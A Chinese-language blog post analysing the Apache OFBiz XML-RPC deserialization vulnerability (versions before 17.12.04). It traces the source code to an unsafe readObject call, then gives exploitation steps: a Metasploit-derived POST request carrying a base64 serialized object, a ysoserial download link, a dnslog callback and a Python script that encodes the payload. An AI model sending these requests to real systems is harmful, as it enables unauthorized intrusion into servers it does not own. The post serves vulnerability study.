Ofbiz XML-Rpc 反序列化漏洞

沈寅麟

浏览: 159593 次
性别:
来自: 上海

最近访客更多访客>>

uule

张锁

孔已己

wangyy

博主相关

博客

微博

相册

留言

关于我

文章分类

社区版块

存档分类

博客分类：

ofbiz

漏洞影响版本#
< 17.12.04版本

漏洞请求地址:

https://xxxxx/webtools/control/xmlrpc

当post一个xml的poc过去后，如果返回包里同时存在
faultString,No such service faultString ,methodResponse
证明有漏洞存在。

根据/webtools/control/xmlrpc可知，我们去看webtools下的源码，来到webapp目录下的web.xml查看路由情况。

<servlet>
        <description>Main Control Servlet</description>
        <display-name>ControlServlet</display-name>
        <servlet-name>ControlServlet</servlet-name>
        <servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>ControlServlet</servlet-name>
        <url-pattern>/control/*</url-pattern>
    </servlet-mapping>

通过代码可知道，我们control下面的uri都是转发到ControlServlet控制器当中。跳转到org.apache.ofbiz.webapp.control.ControlServlet的源码，在doPost里打下断点。

根据经验，下面这段代码才是路由器功能具体细分的代码，在这之前是对一些列的环境变量进行复制。

try {
            // the ServerHitBin call for the event is done inside the doRequest method
            requestHandler.doRequest(request, response, null, userLogin, delegator);
        }

跟入doRequest函数，走一遍看看。走完第一遍，再走第二遍的时候，根据注释// run the request event可以知道!

这块会根据uri的不同进行java反射机制跳转到对应的控制类进行操作。跟入runEvent函数:

public String runEvent(HttpServletRequest request, HttpServletResponse response,
            ConfigXMLReader.Event event, ConfigXMLReader.RequestMap requestMap, String trigger) throws EventHandlerException {
        EventHandler eventHandler = eventFactory.getEventHandler(event.type);
        String eventReturn = eventHandler.invoke(event, requestMap, request, response);
        if (Debug.verboseOn() || (Debug.infoOn() && "request".equals(trigger))) Debug.logInfo("Ran Event [" + event.type + ":" + event.path + "#" + event.invoke + "] from [" + trigger + "], result is [" + eventReturn + "]", module);
        return eventReturn;
    }
invoke的出现大概的佐证了我们的想法。跟入invoke：

public String invoke(Event event, RequestMap requestMap, HttpServletRequest request, HttpServletResponse response) throws EventHandlerException {
        String report = request.getParameter("echo");
        if (report != null) {
            BufferedReader reader = null;
            StringBuilder buf = new StringBuilder();
            try {
                // read the inputstream buffer
                String line;
                reader = new BufferedReader(new InputStreamReader(request.getInputStream()));
                while ((line = reader.readLine()) != null) {
                    buf.append(line).append("\n");
                }
            } catch (Exception e) {
                throw new EventHandlerException(e.getMessage(), e);
            } finally {
                if (reader != null) {
                    try {
                        reader.close();
                    } catch (IOException e) {
                        throw new EventHandlerException(e.getMessage(), e);
                    }
                }
            }
            Debug.logInfo("Echo: " + buf.toString(), module);

            // echo back the request
            try {
                response.setContentType("text/xml");
                Writer out = response.getWriter();
                out.write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>");
                out.write("<methodResponse>");
                out.write("<params><param>");
                out.write("<value><string><![CDATA[");
                out.write(buf.toString());
                out.write("]]></string></value>");
                out.write("</param></params>");
                out.write("</methodResponse>");
                out.flush();
            } catch (Exception e) {
                throw new EventHandlerException(e.getMessage(), e);
            }
        } else {
            try {
                this.execute(this.getXmlRpcConfig(request), new HttpStreamConnection(request, response));
            } catch (XmlRpcException e) {
                Debug.logError(e, module);
                throw new EventHandlerException(e.getMessage(), e);
            }
        }

        return null;
    }
来到this.execute函数，跟入：

 
    public void execute(XmlRpcStreamRequestConfig pConfig,
            ServerStreamConnection pConnection) throws XmlRpcException {
        try {
            Object result = null;
            boolean foundError = false;

            try (InputStream istream = getInputStream(pConfig, pConnection)) {
                XmlRpcRequest request = getRequest(pConfig, istream);
                result = execute(request);
            } catch (Exception e) {
                Debug.logError(e, module);
                foundError = true;
            }

            ByteArrayOutputStream baos;
            OutputStream initialStream;
            if (isContentLengthRequired(pConfig)) {
                baos = new ByteArrayOutputStream();
                initialStream = baos;
            } else {
                baos = null;
                initialStream = pConnection.newOutputStream();
            }

            try (OutputStream ostream = getOutputStream(pConnection, pConfig, initialStream)) {
                if (!foundError) {
                    writeResponse(pConfig, ostream, result);
                } else {
                    writeError(pConfig, ostream, new Exception("Failed to read XML-RPC request. Please check logs for more information"));
                }
            }

            if (baos != null) {
                try (OutputStream dest = getOutputStream(pConfig, pConnection, baos.size())) {
                    baos.writeTo(dest);
                }
            }

            pConnection.close();
            pConnection = null;
        } catch (IOException e) {
            throw new XmlRpcException("I/O error while processing request: " + e.getMessage(), e);
        } finally {
            if (pConnection != null) {
                try {
                    pConnection.close();
                } catch (IOException e) {
                    Debug.logError(e, "Unable to close stream connection");
                }
            }
        }
    }

获取到了value的值，我们跟入看看getRequest函数。

   protected XmlRpcRequest getRequest(final XmlRpcStreamRequestConfig pConfig, InputStream pStream)
            throws XmlRpcException {
        final XmlRpcRequestParser parser = new XmlRpcRequestParser(pConfig, getTypeFactory());
        final XMLReader xr = SAXParsers.newXMLReader();
        xr.setContentHandler(parser);
        try {
            xr.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            xr.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
            xr.setFeature("http://xml.org/sax/features/external-general-entities", false);
            xr.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            xr.parse(new InputSource(pStream));
        } catch (SAXException | IOException e) {
            throw new XmlRpcException("Failed to parse / read XML-RPC request: " + e.getMessage(), e);
        }
        final List<?> params = parser.getParams();
        return new XmlRpcRequest() {
            public XmlRpcRequestConfig getConfig() {
                return pConfig;
            }
            public String getMethodName() {
                return parser.getMethodName();
            }
            public int getParameterCount() {
                return params == null ? 0 : params.size();
            }
            public Object getParameter(int pIndex) {
                return params.get(pIndex);
            }
        };
    }
在xr.parse(new InputSource(pStream));对input流数据进行了处理。
利用msf的exp进行发送测试：

POST /webtools/control/xmlrpc HTTP/1.1
Host: localhost:8443
Content-Type: text/xml
Content-Length: 643

<?xml version="1.0"?>
        <methodCall>
          <methodName>#{rand_text_alphanumeric(8..42)}</methodName>
          <params>
            <param>
              <value>
                <struct>
                  <member>
                  <name>#{rand_text_alphanumeric(8..42)}</name>
                    <value>
                      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>
                    </value>
                  </member>
                </struct>
              </value>
            </param>
          </params>
        </methodCall>

在调试器看到：

从源码上debug不到后，我就根据调试器里的报错来查看具体的类：

根据报错，我们知道了，有内容base64解码错误。根据exp可知道<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">#{Rex::Text.encode_base64(data)}</serializable>这里面的内容应该是base64后的内容。

然后给<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">MTEx</serializable>再次发送。

断点在SerializableParser：

public class SerializableParser extends ByteArrayParser {
	public Object getResult() throws XmlRpcException {
		try {
			byte[] res = (byte[]) super.getResult();
			ByteArrayInputStream bais = new ByteArrayInputStream(res);
			ObjectInputStream ois = new ObjectInputStream(bais);
			return ois.readObject();
		} catch (IOException e) {
			throw new XmlRpcException("Failed to read result object: " + e.getMessage(), e);
		} catch (ClassNotFoundException e) {
			throw new XmlRpcException("Failed to load class for result object: " + e.getMessage(), e);
		}
	}
}

可知进行readObject是我们base64后的内容，即到达反序列化入口点。

开始利用漏洞:

1.如果没有ysoserial工具，这里下载：
https://pan.baidu.com/s/12o5UFaln0qDUo0hPcIR1Eg 提取码：qdfc

2.http://www.dnslog.cn/ 获取一个可请求的地址

使用java -jar yso.jar URLDNS "http://你的地址" > url.bin,然后：

3.使用Python转Class为Base64

import base64


# payload = open("url.bin").read()
with open("./url.bin",'rb') as file:
    payload = file.read()

bbs = base64.b64encode(payload)

print(bbs)